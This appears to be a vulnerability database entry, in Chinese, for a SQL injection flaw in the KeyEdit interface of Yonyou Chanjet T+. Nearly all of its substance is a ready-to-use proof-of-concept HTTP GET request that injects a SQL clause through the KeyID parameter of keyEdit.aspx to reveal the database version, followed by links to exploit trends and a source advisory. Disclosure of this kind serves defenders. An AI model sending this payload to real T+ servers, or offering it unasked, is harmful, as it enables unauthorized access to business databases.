用友畅捷通T+ KeyEdit接口 SQL注入漏洞

2024-05-08 畅捷通T+ PoC Public

Description

用友畅捷通T+ KeyEdit接口SQL注入漏洞

PoC

GET /tplus/UFAQD/keyEdit.aspx?KeyID=222%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/2fa50f41-39f9-4690-a598-d0a11e1c4ae5

Related Vulnerabilities